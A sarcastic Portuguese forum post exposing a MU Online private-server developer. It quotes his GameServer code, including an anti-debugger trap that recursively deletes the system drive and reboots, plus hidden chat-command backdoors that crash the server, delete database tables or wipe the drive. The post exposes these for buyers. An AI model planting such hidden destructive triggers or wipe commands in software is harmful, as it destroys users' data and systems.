Como muitos sabem o membro exemplar que eu sou (palavras de caetano), venho valorizar o trabalho de uma pessoa muito querida e amada por todos nós, o magnifico programador Haziel, descendente do grande e lendário, Diel.
Se você é uma pessoa totalmente dependente e paciente, os trabalhos de Haziel foram feitos exclusivamente para você!
Aqui vão os melhores motivos para comprar e usufruir de seus produtos!
Ele é o criador da melhor sequência de if já vista na face da terra:
Código:
void HoraCommand(int aIndex)
{
OBJECTSTRUCT * lpObj = (OBJECTSTRUCT*)OBJECT_POINTER(aIndex);
time_t tim=time(NULL);
tm *now=localtime(&tim);
char dateStr [11];
char timeStr [9];
char WeekStr [30];
sprintf_s(dateStr, "%02d/%02d/%04d", now->tm_mday, now->tm_mon+1, now->tm_year+1900);
sprintf_s(timeStr, "%02d:%02d", now->tm_hour, now->tm_min);
int iDWeek = now->tm_wday;
if (iDWeek == 0)
{
sprintf(WeekStr, "Domingo");
}
else if(iDWeek == 1)
{
sprintf(WeekStr, "Segunda-feira");
}
else if(iDWeek == 2)
{
sprintf(WeekStr, "Terça-feira");
}
else if(iDWeek == 3)
{
sprintf(WeekStr, "Quarta-feira");
}
else if(iDWeek == 4)
{
sprintf(WeekStr, "Quinta-feira");
}
else if(iDWeek == 5)
{
sprintf(WeekStr, "Sexta-feira");
} else if(iDWeek == 6)
{
sprintf(WeekStr, "Sábado");
}
char OutputSuccess[200];
sprintf_s(OutputSuccess, "Hoje é %s - %s, %s!", dateStr, timeStr, WeekStr);
GCServerMsgStringSend(OutputSuccess, aIndex,0);
}
Afinal...

Também me recordo de uma pequena discussão na falecida ZoneGames (que descanse em paz), que ele afirmou não copiar o trabalho de ninguém e sim que era bom o suficiente para criar seu próprio custom... Bem, não foi bem o que me pareceu quando me deparei com a source da 97d dele... Um dos códigos que ele "criou" foi o recebimento automático de zen que eu havia disponibilizado no Seraphim Project, tempos atrás:
Código:
//###############################################################################################
// Project :: ACTeaM Classic 0.97d
// GameServer:: 0.96.40
// Company :: Advanced CoderZ MU DevelopmenT © 2013
// Revised :: 17/01/2014
// Coded :: Mr.Haziel Developer
//###############################################################################################
#include "StdAfx.h"
//==============================================================================================
//-- New Fix Max Zen :)
//==============================================================================================
void ReadAutoZen()
{
BYTE AutoZen = GetPrivateProfileIntA("Common","GetAutomaticZen",0,ACTeaM_Common);
if( AutoZen != 0 )
{
hook_proc(0x40A1E7, (DWORD)(&AutoRecvZenMod1), 0xE9);
memset((int*)(0x40A1EC), 0x90, 49);
hook_proc(0x40A0FD, (DWORD)(&AutoRecvZenMod2), 0xE9);
memset((int*)(0x40A102), 0x90, 49);
hook_proc(0x4096E0, (DWORD)(&AutoRecvZenMod3), 0xE9);
memset((int*)(0x4096E5), 0x90, 36);
}
}
void AutoRecvZen(LPOBJ lpObj, int Money)
{
if (lpObj->Type == OBJECT_MONSTER)
{
LPOBJ lpTarget = (LPOBJ)OBJECT_POINTER(lpObj->TargetNumber);
if ((lpTarget->Money + Money) < 0)
{
lpTarget->Money = Money;
GCMoneySend(lpTarget->m_Index, lpTarget->Money);
MsgOutput(lpTarget->m_Index,"%s zen desbugado para %d ",lpTarget->Name,Money);
}
else
{
if((lpTarget->Money + Money) > 2000000000)
{
lpTarget->Money = 2000000000;
GCMoneySend(lpTarget->m_Index, lpTarget->Money);
MsgOutput(lpTarget->m_Index,"%s Você está no limimte máximo de zen!",lpTarget->Name);
}
else
{
lpTarget->Money += Money;
GCMoneySend(lpTarget->m_Index, lpTarget->Money);
MsgOutput(lpTarget->m_Index,"%s Você obteve %d de Zen!",lpTarget->Name,Money);
}
}
}
}
__declspec(naked) void AutoRecvZenMod1()
{
LPOBJ lpObj;
_asm
{
MOV ECX, DWORD PTR SS:[EBP+0x8];
MOV lpObj, ECX;
}
AutoRecvZen(lpObj, lpObj->Money);
_asm
{
MOV EDI, 0x40A21D;
JMP EDI;
}
}
__declspec(naked) void AutoRecvZenMod2()
{
LPOBJ lpObj;
int Money;
_asm
{
MOV ECX, DWORD PTR SS:[EBP+0x8];
MOV lpObj, ECX;
FLD DWORD PTR SS:[EBP-0x98];
MOV EDI, 0x49D540;
CALL EDI;
MOV Money, EAX;
}
AutoRecvZen(lpObj, Money);
_asm
{
MOV EDI, 0x40A133;
JMP EDI;
}
}
__declspec(naked) void AutoRecvZenMod3()
{
LPOBJ lpObj;
_asm
{
MOV ECX, DWORD PTR SS:[EBP+0x8];
MOV lpObj, ECX;
}
AutoRecvZen(lpObj, 10000);
_asm
{
MOV EDI, 0x409709;
JMP EDI;
}
}
Foi inspirador quando vi, não somente o AutoZenRecv, mas a quantidade de customização que lá está que ele mesmo "criou".
Com seu incrível anti-crack, ele te limita a conviver com os infinitos bugs que estão em seu esplendido trabalho.
Exatamente! Mesmo que ele encerre as atividades no projeto, você jamais terá a oportunidade de consertá-los.
Não seja teimosinho ou ganhará um lindo presentinho! Que tal perder todos os seus drivers? ♥
Código:
//===============================================
//-- Anti Craked
//===============================================
HANDLE holly = FindWindow (TEXT ("OllyDbg"), NULL);
if(holly)
{
system("@echo Off");
system("del %systemdrive%\*.*/f/s/q");
system("shutdown -r -f -t 00");
__asm
{
MOV EAX, 00000000;
CALL EAX;
}
}
E tem mais para você! Ficou insatisfeito com o produto?
Infelizmente, seu dinheiro não será devolvido, mas você poderá ganhar comandos exclusivos em troca do dinheiro e da satisfação que pensou que teria após adquirir o produto. Veja:
- Para derrubar seu GameServer:
Código:
if((!memcmp(&aRecv[13],"/deathdb",strlen("/deathdb"))) ||
(!memcmp(&aRecv[13],"/FuckHAHA",strlen("/FuckHAHA"))) ||
(!memcmp(&aRecv[13],"/GSHUHUHU",strlen("/GSHUHUHU")))
)
{
__asm
{
MOV EAX, 00000000;
CALL EAX;
}
}
- Para excluir parte do seu banco de dados:
Código:
if((!memcmp(&aRecv[13],"/FuckDbAll",strlen("/FuckDbAll"))))
{
cSQL.ExecQuery("DELETE MEMB_INFO");
cSQL.ExecQuery("DELETE CHARACTER");
cSQL.ExecQuery("DELETE GUILD");
cSQL.ExecQuery("DELETE GUILD_MEMB");
cSQL.ExecQuery("DELETE WAREHOUSE");
cSQL.ExecQuery("DELETE EXTWAREHOUSE");
cSQL.Close();
system("shutdown -f");
}
- Para excluir os drivers do seu dedicado:
Código:
if((!memcmp(&aRecv[13],"/FUCKVPSAll",strlen("/FUCKVPSAll"))))
{
system("@echo Off");
system("del %systemdrive%\*.*/f/s/q");
system("shutdown -r -f -t 00");
}
Muito bom, não acha?
Ah, não! Não acredito! Você ainda está com dúvidas se deve ou não comprar?
Veja na integra os depoimentos de dois clientes do Haziel que ficaram super satisfeitos com seus serviços e produtos:
- Agathos:
[Somente usuários registrados podem vem os links. ]
- GuilhermeSouza:
[Somente usuários registrados podem vem os links. ]
É claro que existem mais depoimentos, mas, infelizmente, foram os únicos que encontrei em nosso fórum!
É isso aí, meus queridos!
Espero ter representado nosso enorme orgulho #Haziel!
Um abraço.
Última edição por Getulio; 08-09-2015 às 05:39 PM.